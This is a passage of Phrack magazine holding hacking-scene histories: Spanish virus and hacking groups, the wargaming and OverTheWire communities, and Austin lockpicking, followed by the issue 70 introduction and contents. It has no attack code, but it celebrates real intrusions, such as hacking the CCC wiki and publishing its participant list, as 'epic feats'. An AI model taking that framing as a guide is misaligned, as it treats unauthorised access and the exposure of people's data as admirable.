Bernardo Quintero: "I went to a 29A meetup in Madrid. One afternoon we went to the funfair. While we were queueing up at one of the rides, one of them was wearing a print of a virus hex‑dump on his back, and the two who were behind him, bored, started to translate it out loud on the run into assembler and to interpret what it did as if they were reading a book... I was amazed (any normal human being, including myself as someone knowledgable in that field, needed a computer, a disassembler and to spend a while to do something like that)."

The long lifespan of 29A had it witness in first person the decadence and criminalization of the whole virus scene, a decadence which would also apply to the whole hacking scenario.

Benny, in 29A ezine, 2002: "The whole scene and many things in it will no longer be the way it was. Some programmers talk of "death", "decadence", some talk of serious problems. (...) Script kiddies and their so called "virus/worms" rule in cyberworld. (...) Antivirus earn money off people whose stupidity is 99.99% responsible for vast virus outbreaks ("click here" viruses). Where are those elite programmers, those elite groups? Where are those hi‑tech viruses that *yesterday* dominated the world? *Decadence*".

4. The community

However, prior to the decadence, the latter half of the 90's had a bubbling fertile and noisy community, proud heirs of the pioneers, meeting in newgroups such as es.comp.hackers, mailing lists such as hacking or hackindex, the IRC‑Hispano chat group and ezines such as Raregazz, NetSearch, 7a69ezine, Cyberhack, CatHack, JJF Hackers Team or Virtual Zone Magazine. This breeding ground would give fruits in the form of tools that are still useful today such as Halberd (rwxrwxrwx), OSSIM (Ulandron), RKdetector (aT4r) or Unhide (Icehouse).

The appearance of scores of newbie hackers showing up at the end of the 90's on the Spanish Internet is due to InfovÃa, the low cost phone network set up by Telefonica to access the Internet at local calling rates. This multiplied the number of ISP's, who practically gave away access, and the amount of internauts grew exponentially.

Heading this small horde of apprentices were two veteran rival groups: !Hispahack from Catalonia and Saqueadores from Murcia. The former started in 1992 and their high technical level was apparent through the tools created and distributed by their members: SMBScanner (Flow), ICMPush ( Slayer), HTTPush (JFS) or Yersinia (Tomac and Slayer). Amongst their multiple feats, hacking forum.phrack.org with a PHP exploit in 2000.

Unfortunately !Hispahack will not be remembered so much for their high level but for a police raid transformed into media circus in 1998 which ended up with one of its members, JFS, going on trial. His two seized computers produced password files allegedly stolen off machines from all over the world, from Thailand to Kiev, passing through Sweden, Canada, Australia, Germany or the European Organization for Nuclear Research ( CERN). A total of 9,459 accounts. In the end he was absolved due to inconsistencies in the proof presented.

As for Saqueadores, they stood out due to the ezine of same name, born in 1996, the longest running of the Spanish arena. Some of the notable hacks of the time were narrated inside, such as when the editor of the ezine in 1997, Paseante, took control of InfovÃa (5), or when he obtained control of another sister, also owned by Telefonica, that controlled important networks of companies and institutions, amongst them the Iberia airline, the parliamentary congress, or Caja Madrid (a bank).

Saqueadores is also credited with organizing the first hacking convention in Spain: the UnderCon (1997‑2004), a private event with 30 to 60 participants, depending on the edition, precursor of many conventions that are currently held throughout the country.

Homs: "There were a lot of people interested in phreaking and hardware hacking, hacking lifts, foosballs, phone booths, the hotel pbx, etc. At night the people would gather according to their interests and you'd see phreakers in booths with crocodile clips or metal plates, hackers who would stay "working" in the hotel rooms, others scanning RF frequencies, others just hanging out and partying (ending up getting call‑girls and talking about hacking with them, or loosing a chicken in a taxi...), etc."

From 2000 onwards, when the scene had reached its climax and little by little the decadence was taking root, a new generation of hackers gained strength, more transversal due to the groups they belonged to and more collaborative from an international point of view. Amongst them Zhodiac from !Hispahack stands out as author of EMET and multiple exploits (6). He published an article in Phrack in 2001 about overflows in PA‑RISC, which opened the gates for others who would also publish there: Pluf and Ripe, Ilo, Dreg and Shearer, Pancake and Blackngel.

They also created notable exploits, as Doing(7)(8) and RomanSoft(9)(10), well known for having written, in 1997, the most downloaded text of the Spanish underground "TÃ¡cticas de guerra en el IRC" (War tactics in IRC). RomanSoft is today a member of Int3pids, one of the 20 best CTF teams in the world, and of the group !dsR, who in 2004 managed the epic feat of hacking the actual Chaos Computer Club (11) (12). Taking advantage of a 0day exploit in the CCC wiki, they obtained the 2003 congress participants list, which they published.

Alejandro Ramos: "Hans Ulrich, from the CCC, after doing some forensics on the systems announced the vulnerability, attributing it to himself. It wasn't until then that RomanSoft reacted and explained that he had discovered the exploit a few months before and spread it to a small group of people from where it had filtered. Even the author of Twiki himself confirmed that RomÃ¡n had notified him of the vulnerability a few days prior".

As a final note, the numerous and always collaborative Spanish cracking community deserves mention, very active on both sides of the ocean. Spanish crackers from the 90's created a multitude of refuges and a cathedral called "La PÃ¡gina de Karpoff" (Karpoff's page), where hundreds of translations, tools and manuals in Spanish about cracking, reverse engineering and computer programming were uploaded. This fountain of knowledge watered today's fertile community of Spanish reversers, amongst them RubÃ©n Santamarta (reversemode), Joxean Koret (matalaz), Ero Carrera, Hugo Teso, Mario Ballano or Sergi Ã€lvarez (trufae), the creator of Radare.

(1) http://www.netcomunity.com/lestertheteacher/index.htm

(2) https://nmap.org/nmap‑fingerprinting‑old.html

(3) http://hackstory.net/Manual_del_novicio_al_hacking

(4) https://www.youtube.com/watch?v=jXmAzeMoZNs

(5) http://set‑ezine.org/ezines/set/txt/set11.zip

(6) http://zhodiac.hispahack.com/index.php?section=advisories

(7) http://examples.oreilly.com/networksa/tools/rpc‑statd.c

(8) http://www.vfocus.net/hack/exploits/os/linux/suse/6.2/su‑dtors.c

(9) http://examples.oreilly.com/networksa/tools/rs_iis.c

(10) http://archives.neohapsis.com/archives/fulldisclosure/2006‑07/

0234.html

(11) http://www.digitalsec.net/stuff/fun/CCC/camp‑server‑hack.htm

(12) http://www.digitalsec.net/stuff/fun/CCC/ccc_and_cccs.txt

5. Thanks to:

Dreg, Homs, Zhodiac, HorseRide, Han Solo, Depeche, Rampa, Savage, Partyman, Lester, Mave, Darkraver, RomanSoft, X‑Grimator, Karpoff, Pepelux, JFS, Alberto Lozano, VirusBuster, rwxrwxrwx, aT4r, Crg, TaNiS, MindTwist, uCaLu, MegadetH, Pancake, Crash, Metalslug, Angeloso, Nico, dAb, Snickers, Rayita, Yandros, Icehouse, DrSlump, Deese, L, Altair, thEpOpE, Belky, El‑Brujo, ReYDeS, Bernardo Quintero, Carlos SÃ¡nchez Almeida, Manoleet, Cyteck, Yoriell, MÃ³nica Lameiro, Jay Govind, Rock Neurotiko, Albert StateX and the rest of the Hackstory's crew. Also: Jericho. Wau Holland.

|=[ 0x02 ]=‑‑‑=[ Wargaming Scene Phile ‑ Steven, adc & weekend ]=‑‑‑‑‑‑‑‑=|

‑‑[ An Overview of the Wargaming Scene Through the Eyes of adc

In 2007, 3 dudes captured the first slot in the DEFCON CTF Qualifiers. They didn't come from anywhere, and they werent actually planning on playing, which is why they had to decline. The only explanation is wargames. So if you eat your veggies and do loads and loads of wargames you too will have brains, discipline, and hilarity.

And the wargame scene has bloomed! There are CTFs available just about every month now, many of which can be played remotely. And persistent shell‑based wargames and web‑vuln sites continue to run, year after year, completely free.

Here's why I love wargames:

‑ The people attached to the keyboards on the other side

‑ Easy, piecemeal, bite‑sized levels

‑ Decent learning curve on most games (easy to HARD)

‑ Easy to discipline yourself into a hacking machine

‑ Good ego‑boost after trying to hack unsolved things gets you down (see: real world)

‑ Friendly help readily available

‑ Knowledge itself is the reward, pure skill!

‑ Some people cheat, and those that do don't get much of anything out of it ‑ Cheating is more fun when noone knows how you cheated

‑ Adrenaline rush (though it's faded for me and others with great time)

I became addicted to wargames.unix.se in 2003. Before the summer, I had been trying a website my friend showed me, hackerslab, but didn't really get anywhere after copy pasting my way to somewhere not very far. The swedish site was started by norse and had lots of other people participating and making games, a bunch of which are still not far from wargames today.

At wargames.unix.se something special happened for me though, it all just really clicked. Perhaps it was the web design or maybe the slogan: "Unregulated knowledge is pornography". There was just tons of cool information being discussed in the forums and on irc, things people wondered about, highly technical, and those people were exploring them full‑on. I think it really was the community. A bunch of charming and cool swedes were making fun, addictive wargames to play. The attitude there was A+, the challenges were good, and something about the way they were presented just made them very appealing. It could have been the scoreboard, or just listening in on the irc and thinking damn, these are some genuine hackers. And people were very polite and helpful. Some of those early games can still be played on overthewire.org:

Leviathan ‑ this was the first shell based game, where all newbies start Behemoth ‑ where I exploited my first buffer overflow

Utumno ‑ A little harder

Maze ‑ Harder again, easy remotes

There used to be a bunch of other games on wargames.unix.se, some that taught network skills, and then some that did crypto from easy (balthasar) to hard (halls of despair) to insane (halls of torment).

The four shell‑based games above I would highly recommend to anyone just starting out. They are just easy enough that it's welcoming to a beginner but after leviathan the esoterism begins to seep through and make the levels something else altogether. They're fun and captivating to this day.

The thing of it is, I used to actually get a huge adrenaline rush from solving these back then. Like my heart would be pounding while I was waiting for some shellcode to land, and when it did, it was always a great smile. After spending an evening to a week or two miserably stuck, taking copious notes, and then finally solving a level, I couldn't wait to be working my way up to the next one. It was really damn addictive. Oddly enough, real‑world hacks rarely got close to the rush from wargames for me, as the real world has lots of complications which my biology begins to think about.... I'm weird.

Many wargamers also keep copious notes in order to capture the subtleties of the different game levels. The notes directories usually begin only with the credentials for each level, but as most wargamers find, the notes directory tends to escalate. It contains for each level of each game: which vulnerabilities have been identified, which exploits might work, which exploits failed, and finally which exploits succeeded. It's also a good idea to keep notes on different shellcodes, different techniques for debugging, heap tricks, and so on. I would probably learn a ton from the disclosure of other people's notes :‑).

wargames.unix.se transformed into Digital Evolution dievo.org and was around until '06 or so. Digital Evolution was quite awesome. It had basically everything I use from the internet still today: wargames, a chill music station (delphium radio!), an awesome picture gallery from the userbase, an extensive archive of links to knowledge, irc!!!, and leaderboards to compete about everything on the website.

In '06 or so at some point the community dispersed after the demands of running the site became too great for the people running it and the site leaders just kind of moved on after a lot of downtime. runixd offered to host the games and intruded.net came up. I helped restore and retest a bunch of them. It seems like ages ago, but I remember administering the games on user‑mode‑linux, then Xen (and finding tons of ways to kernel panic), and finally Vserver. We stopped updating the games around '07, and it turns out turns of privesc vulns were being introduced to the kernel and libc in late '07 and '08, heh, so the games didn't need too much maintenance for awhile. Till some hardware failed quite poorly in early '11. Luckily, overthewire.org has taken everything back up in '12 and continues to host them

So tempting to namedrop some greetz here to all the nick, but archive.org really says it best!. http://web.archive.org/web/20050729112313/http://www.dievo.org/

So what's around today if you're looking to get yet‑better at memory corruption when CTFs are not around? I highly recommend two oldies, which I consider transformative in my exploitation education. The first of these is vortex on overthewire.org, the second is #io on smashthestack.org.

When I first played vortex, the first level showed me that I did not really understand pointers as well as I thought I did. I recall andrewg telling me to draw a stack diagaram. So I did, and finally the &s and *s made sense when combined with my diagram and the assembly code. It was mind bendingly difficult for something quite simple the first time through. And other levels repeat the experience. Subtly exploitable bugs that at first don't appear to be possible because of certain limitatio yns. The level of difficulty does continue to grow until at some point you become somewhat skilled.

When showing up to play #io, the first time through, I got to 11 and was utterly disappointed until then. And then something happens, the levels become hard. Quite hard. I had been a wargame veteran at this point, so #io was a gift! Today, the first 10 have been rewritten to all be fun. Now up to about 30 levels, #io continues to grow with well‑researched, subtle vulnerabilities for exploitation. At least one level has a real world, remotely exploitable vulnerability found by a player and crafted into a challenge for your intellectual pleasure. Beat #vortex and #io and you will be rather _good_ at exploiting unix memory corruption.

After that, go play them all. Play every wargame. They all contain knowledge that will enhance your skills. Also play CTFs when you can and if they're fun! If they're not as fun or getting stale, then hack the game!

‑ adc

old rant:

When I was younger I was aggressive and persistent, probably still so. Wargames were the perfect outlet to mold my energy into some pretty useful tricks. I remember coming and going back to wargames many times, the same challenges continually kicking my ass. I started out as a google copy pasta chef. I didn't know how to code very well, though I remember checking out a copy of Turbo C once when I was 12, then a C++ book from the store when I was 13, and being bored while attempting to learn something from it. I still hate C++, I think that Bjarne Stroutsups overgrown haircut explains it all.

I have always, always kept coming back to really play with the machine though. I want to watch it tick and take it apart. I think I always had the itch when peering into a screen.

I started out wargaming in 2003. From memory, there are some good ones I remember from that year, there was web stuff like try2hack.nl, hackthissite.org, and C stuff like hackerslab (a korean site), pulltheplug.com (now overthewire.org), and wargames.unix.se (a swedish site which later became dievo.org). I remember not really knowing my way around a command shell after cheating on some of the hackerslab levels. Then one day, a friendly hacker started talking to me through my bash shell. I had no idea how he did it. Peering up, the difference of skill level between us was laughable. I wanted to learn :‑)

Wargaming in the military is running battle simulations. Wargaming for computer security is also a simulation. The nice thing about computers is that they enable very cheap simulations on very real systems. When wargaming really started to take off in the early 2000s, internet connections became cheaper as did servers, so it wasn't too much of a hassle to host something. Though you had to remain careful where you hosted in case you invited skilled company inside.

Sometimes the systems you're hacking are completely synthetic, which can be quite tame at times. Sometimes the synthetic game is hackable to reveal the real game, which is a lot more fun, and I always have more fun when the real game comes out from the synthetic. For example, I recall one roothack in 07 or so, eagerly awaiting Epic (RIP) to kick off a 5‑way king of the box game when felinemenace crew ended the game on the gateway machine before the event had even started. Meanwhile, beist was on my team had hacked another team's account, and we thought *we* were the ones being cool...

Those two week lulls before classes would pick up again in high school, and nothing felt better than procrastinating the binges of assigned summer reading with some real intellectual stimulation of my own volition. Landing some code.

Since 07, CTFs have just exploded. I am lucky to have played with the loller skaterz dropping from rofl copters as well as RPISEC and pick up teams here and there. One thing that always impressed me about the teams I encountered was when they *hadnt* played persistent wargames before. You can have a read of atlas' blog to see what kind of catching up they have to do. Many CTF players have managed to compress an year's worth of debugging exploits into a few months, it's impressive.

Here's what I love about wargames. One, it will expand your understanding of programs and debugging like nothing else can. Many wargame levels will be little 100‑line programs that don't *appear* to have any security bugs and they will kick your ass for awhile. Others will be obviously exploitable, until you go and try and exploit them, and find all the difficulties whether an XSS filter, a NUL byte in the wrong place, or the compiler reordering stack variables...

Two, there's always a solution* once a challenge is up. Some brilliant minds thought through and tested something special just for you very thoroughly to make sure you'd have a good time. Real world code can REALLY kick your ass and get your self esteem down. It's hard, you can't always be smarter than the programmers that wrote it. But a wargame level was made to be broken. It will help you pick up the momentum you need to tackle the real world again. *Some CTFs mess up the testing phase which is disappointing for everyone.

Three, they come in baby steps. The way most persistent wargames and CTFs are organized is through a potpourri of easy medium hard and random challenges. Each challenge itself is usually quite manageable and bite‑sized. A well designed game makes it effortless to figure out which pieces to solve first. A common strategy among wargame players it to keep a copious notes with the successes (and sometimes failures) of each level. I personally logged most of my failed attempts, and always felt great satisfaction revisiting them. The games provided excellent facilities for conquering genuinely hard, unknown problems with a lot of research, gdb (or whatever web stuff for web stuff), and head scratching. Was also always a joy ;‑) to grab a copy of someone's note directory and learn little tricks.

Four, you will learn real skills. There are skills encoded in the levels of the games out there that haven't been yet published in an article. I'm fairly certain #io on smashthestack.org revealed linux ASLR bypasses quite awhile before they were patched and semi‑public. Though many wargames start out quite easy the difficult ones are there. And it is the difficult ones that will transform you from a noob into a conscious hacker.

Five, the people. Yes some people are ornery, and if you're vain then you think I'm talking about you. Some people are trolls. And some people are just so genuinely cool. Throughout my time in the computer security space, I am persistently impressed and inspired by people. Both competitively and creatively, I feel like I've always worked best in pairs or small groups of people. It's always just a pleasure for me to work with others. And people of very different backgrounds and goals come to sharpen their skills on wargames, which means there will be fun.

I remember the first guy I learned to exploit a stack buffer overflow with, we both had no clue, but we figured it out after a few days of gdbing. This was on the wargames.unix.se website, which I am EXTREMELY nostalgic for. I owe Sweden a lot of beers.

Throughout the different wargaming sites and CTFs you will find lots of different attitudes, some very mysterious people, and some incredibly ordinary. Back in 2003 when I found wargames.unix.se I knew nothing but just had a compulsion to solve some levels. I was doing whatever it took to get to the next one, but I often couldn't figure it out *on my own*. On wargames.unix.se I found mentorship and just a super inviting attitude to do the hard stuff. The standard of thinking hard was well‑ingrained, and more impressively, people were just really damn friendly and accepting. And the reason that is impressive is because I asked *a lot* of dumb questions. It also had a great scoreboard with green dots that I lived for, plus the rankings.

I'm pretty sure that I can crash in pads around the world on the promise of explaining a wargame level to someone.

Steven, I'll race you...

‑adc

Wargames: overthewire.org, smashthestack.org, hackthissite.org, try2hack.nl CTFs: blah blah blah

‑‑[ OverTheWire

OverTheWire.org (OTW for short) is, as far as we are aware, the oldest hacker wargame community on the internet. The goal of OTW is to learn security principles and coding practices through a hands‑on approach, and have fun while doing it. The regular OTW community idles on IRC and is very supportive of new users willing to learn. They answer technical questions about the games, provide hints and often discuss all kinds of topics surrounding computer security.

We currently host 11 online games and 3 downloadable images for games that can be played offline. The topics covered in these games are typically related to lowlevel security in linux userland (vortex, semtex, leviathan, narnia, behemoth, utumno, maze, manpage), but we also cover commandline scripting (bandit), networking (semtex), crypto (krypton), web (natas) and some kernelland (monxla).

OverTheWire.org was originally called PullThePlug.com, and was created by Brian Gemberling around 1999. It consisted of 4 physical machines connected to a network in his basement, behind a cable modem with a single IP. Through portforwarding, all these machines could be reached from the internet.

More people joined in the following years and PullThePlug (PTP) grew out of Brian's basement and into a dedicated hosting enviroment. Now being run by a core management team and a lot of volunteers, the games existed on 4 physical machines and a bunch of vserver instances.

To avoid a conflict between the PTP games and Brian's business (ptptech.com), the community moved from PullThePlug.com to PullThePlug.org. After a dispute over the PullThePlug.org domain name, PullThePlug.org moved again to OverTheWire.org around 2006.

At this point, most of the old games were gone and replaced by newer games. Because of all the turbulence caused by moving domain names and problems with hosting providers and DDoS attacks, development of new games stalled out. It took a couple years before the server infrastructure got back on it's tracks. By this time though, a lot of the crew had moved on to other things.

In 2010, OTW created its first custom wargame for the French Hackito Ergo Sum (HES) conference and has been doing that annually ever since: HES2010 and abraxas (HES2011) can be downloaded as VM images, while monxla (HES2012) can be downloaded as a livecd ISO. Kishi, a custom game for 2013, will be shared by HES and NSC (No Such Conference, also French) and offered as a download later on.

In 2012, it became apparent that games from intruded.net went offline and were staying offline. We were asked to adopt these games and, with the help of their former administrators, managed to resurrect them all 6 on the OTW servers: leviathan, narnia, behemoth, utumno, maze and manpage. In addition , 2 games for complete beginners were developed to lower the barrier for newcomers. Bandit focuses on the very basics of systems security, and natas covers serverside websecurity.

Because of relentless DDoS attacks on both the OverTheWire.org and SmashTheStack.org IRC networks, it was decided in 2012 to link both of them together into one bigger network, reuniting us with our long lost brothers and sisters.

This is not the end of the story.

We will keep working on developing new games and maintaining the old ones, for as long as we can. Several new games are already in development, covering topics such as kernel exploitation, web‑security and others.

Many great hackers started out playing, or at some point regularly visited the PTP/OTW games.

It's an honor to be part of their lives in this way and it is our hope to continue to provide this kind of hands‑on experience to the next generation of hackers.

Remember, kids: "Experience is what you get, when you don't get what you want!"

This looks like a good place to thank some people: andrewg, arcanum, astera ,aton, bk, Brian Gemberling, deadbyte, dusty, gizmore, jduck, joernchen, kripthor, l3thal, malvina, mercy, morla, mxn, nemo, rainer, samy, everyone else of #social and probably a ton of people who slip my mind right now <3

Go forth, and be a force of the awesome!

|=[ 0x03 ]=‑‑‑=[ The Austin Lockpicking Scene ‑ jgor ]=‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Austin Lockpicking Scene]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by jgor ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The hobbyist lockpicking scene in the U.S. has become wildly organized in the last decade. If you've been to a hacker conference in that time you've likely heard the names TOOOL (The Open Organization Of Lockpickers) [0] or Locksport International [1]. While TOOOL has been going strong in the Netherlands for far longer, the U.S. branch didn't make an appearance until the mid‑2000's, and Locksport International popped up around the same time in 2005 as a joint effort between U.S. and Canadian founders.

Enter Doug Farre. An early officer and now president of Locksport International, Doug came to Austin in early 2006. After his principal put the kibosh on attempts to start a lockpicking club at his high school in Houston, and a short‑lived group at UT Dallas, he founded the Longhorn Lockpicking Club [2] at the University of Texas at Austin. This student organization soon became the flagship chapter of Locksport International. The club held general meetings on campus each month but core members found themselves gravitating to the Spider House Cafe & Bar down the street for weekly informal picking sessions. Not so coincientally, Spider House was also the location for Austin 2600 [3] at the time.

Longhorn Lockpicking enjoyed great success; with meetings exceeding 50 people in attendance and over 150 registered members in a year it became one of the largest hobbyist lockpicking groups in the U.S.. DEFCON 16 saw no less than 5 Longhorn Lockpicking officers on staff in the lockpick village, bringing with them an epic obstacle course competition involving picking locks underwater. Doug gave one of the more popular talks at DEFCON that year as well, "Identification Card Security: Past, Present, Future." By DEFCON 17 Longhorn Lockpicking officer jgor (yours truly) won the speedpicking championship, winning a trip to compete at the invitation‑only LockCon in the Netherlands. In the next few years Longhorn Lockpicking went on to organize or help run lockpick villages and contribute games such as "Locksport Wizard" and "24 Hours of Locks" to DEFCON, HOPE, and a number of other hacker conferences.

In 2011 due to lack of volunteers for leadership the Longhorn Lockpicking Club on campus took a hiatus, officially splintering off a separate group dubbed L.I‑Austin [4] with meetings continuing off‑campus. Eventually the name Longhorn Lockpicking was restored but the club remained unaffiliated from the university, meeting regularly every other Saturday on the Spider House patio. As of 2016 they're still going strong and looking forward to their 10th anniversary in the fall.

In addition to Longhorn Lockpicking, the ATX Hackerspace [5] has held lockpicking meetings on occasion and has hosted multiple lockpicking workshops in conjunction with College of Lockpicking [6], an initiative by Eric Michaud and Jamie Schwettmann which brought lockpicking workshops to hackerspaces around the U.S.

If you're interested in getting involved in lockpicking check out the organization websites mentioned above to find a chapter near you, or resources to start your own chapter.

[0] TOOOL U.S.

http://toool.us

[1] Locksport International

http://locksport.com

[2] Longhorn Lockpicking

http://longhornlockpicking.com

[3] Austin 2600

http://atx2600.org

[4] L.I Austin

http://meetup.com/li‑austin

[5] ATX Hackerspace

http://atxhackerspace.org

[6] College of Lockpicking

http://collegeoflockpicking.com

70

- Introduction by The Phrack Staff

- Phrack Prophile on xerub by The Phrack Staff

- Attacking JavaScript Engines by saelo

- Cyber Grand Shellphish by Team Shellphish

- VM escape - QEMU Case Study by Mehdi Talbi & Paul Fariello

- .NET Instrumentation via MSIL bytecode injection by Antonio 's4tan' Parata

- Twenty years of Escaping the Java Sandbox by Ieu Eauvidoum and disk noise

- Viewer Discretion Advised by Adam Donenfeld

- Exploiting Logic Bugs in JavaScript JIT Engines by saelo

- Hypervisor Necromancy; Reanimating Kernel Protectors by Aris Thallas

- Tale of two hypervisor bugs - Escaping from FreeBSD bhyve by Reno Robert

- The Bear in the Arena by xerub

- Exploiting a Format String Bug in Solaris CDE by Marco Ivaldi

- Segfault.net eulogy by skyper

- YouTube Security Scene by LiveOverflow

Introduction

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x01 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Introduction ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ staff@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ October 5, 2021 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Introduction

Phrack! We're back! It was only five years ago that issue 0x45 was released. It may sound bad, but it is also, indeed, quite bad. Issue 0x45 was released four years after issue 0x44. And we are now five years after that. Just trying to set the context here. The world is so different and so many things have happened in these five years that it makes no sense trying to make any point. Phrack has always been a reflection of the hacking community, and guess what, the community is moving away from itself. By this we don't mean that there are no talented hackers, because there most definitely are (just take a look at our authors). We also don't mean that there is no exquisite public hacking, because there is (again, our articles as proof). However, there is a clear move away from the collective hacking mindset that was most prevalent in the past. The word "scene" brings only smirks to people's faces. There are many reasons for this, and we are all to blame [1].

So where is the community right now, and, most importantly, where is it going?

We are all ego‑driven, more so nowadays we would argue, and this has definitely made collectives much harder to thrive. We expect direct payback from our hacking, in many forms, including reputation. While it was quite common to receive anonymous papers, in the past five years we got almost none. Where is the new Malloc Maleficarum? Quality isn't the question here, we have high quality hacking, we covered that. The question is about the community and how it has changed in the last 10‑15 years. And about Phrack.

Phrack started as a community zine of exchanging technical information and hacking techniques in a time that it was hard to find it. It later changed. It became a symbol of achievement, eliteness, and honor to be published in Phrack. A slight but significant change happened afterwards. Phrack gravitated (willingly or not is the subject of another discussion) towards an academic medium. Academia noticed the high quality of Phrack papers, started citing them, and basing their offensive and defensive work on them. Did that alienate the underground that Phrack represented for so many years? Yes, we think it did. But the underground also changed. Some of it became involved in malware, spyware, and also the "infosec" industry. And this mutated the underground. Of course we don't judge. Shouldn't Phrack be the reflection of the community, whatever the community is? Or should Phrack be a beacon of the old school underground? Well, it remains to be seen. Phrack will always be alive as long as the community is alive, reflecting it. If the hacking community becomes "infosec" in its majority, then probably so will Phrack. If the heart of the community is CTF, Phrack will reflect that. If the community focuses on malware, so will Phrack. Isn't that what Phrack has always done? It always was and always will be "by the community, for the community". If the community has decided that Phrack has a five year release cycle, then that's where we are.

Unfortunately, this issue is again an issue of eulogies; we have lost hackers that have had an enormous impact on our community. Phrack would like to say goodbye to them. Their loss saddens us deeply, and makes our community poorer in talent, ethics, and intellect. We also mourn lost communities. Segfault.net has been our home/hosting in the past and is now gone.

But we also have some good news! You might have come across Phrack merchandise [2], well, yes, we have resurrected it! The original 2003 art work has been found on a backup drive. All profits go to the Electronic Frontier Foundation. The EFF is a rare example of good and simple advise for the ordinary citizens. Plus a defender of our rights online and of the freedom of information. A beacon of light to say the least. The EFF used to run one of the three FTP servers to download Phrack as well. And let's not forget that the EFF paid for the attorney of Phrack's co‑founder Knight Lightning in the 1990 court case and supported him all the way. They defended against the US Secret Service, a ruthless adversary with no respect for the freedom of information or the hacking scene in general. With EFF's help the case against Knight Lighting collapsed and the US Secret Service looked like a pissed on poodle.

The merchandise has the Phrack Gnome on the front and the Hacker's Manifesto on the back. And ships worldwide.

[1] http://www.phrack.org/issues/69/6.html

[2] https://phrack.myspreadshop.co.uk/

$ cat p70/index.txt

‑‑[ Table of contents

0x01 Introduction .......................................Phrack Staff

0x02 Phrack Prophile on xerub ............................ Phrack Staff

0x03 Attacking JavaScript Engines: A case study of JavaScriptCore and CVE‑2016‑4622 .................... saelo

0x04 Cyber Grand Shellphish .............................. Team

Shellphish

0x05 VM escape ‑ QEMU Case Study ......................... Mehdi Talbi &

Paul Fariello

0x06 .NET Instrumentation via MSIL bytecode injection .... Antonio

s4tan'

Parata

0x07 Twenty years of Escaping the Java Sandbox ........... Ieu Eauvidoum

disk noise

0x08 Viewer Discretion Advised: (De)coding an iOS

Kernel Vulnerability ................................ Adam

Donenfeld

0x09 Exploiting Logic Bugs in JavaScript JIT Engines ..... saelo

0x0a Hypervisor Necromancy; Reanimating Kernel

Protectors .......................................Aris Thallas

0x0b Tale of two hypervisor bugs ‑ Escaping from

FreeBSD bhyve .......................................Reno Robert

0x0c The Bear in the Arena ............................... xerub

0x0d Exploiting a Format String Bug in Solaris CDE ....... Marco Ivaldi

0x0e Segfault.net eulogy ................................. skyper

0x0f YouTube Security Scene .............................. LiveOverflow

‑‑[ Greetz

‑ dakami: pure passion for hacking, will be greatly missed ‑ navs: our condolences for this brilliant hacker

‑ accepted authors: thanks for your work, you keep Phrack alive ‑ rejected authors: we hope our reviews helped you in some way

‑ past Phrack Staff members: now we know ;)

‑‑[ Phrack policy

phrack:~# head ‑77 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

‑‑‑‑( Contact )‑‑‑‑

< Editors : staff[at]phrack{dot}org > > Submissions : staff[at]phrack{dot}org <

Submissions may be encrypted with the following PGP key:

(Hint #1: Always use the PGP key from the latest issue) (Hint #2: ANTISPAM in the subject or face the mighty /dev/null demon)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: PHRACK

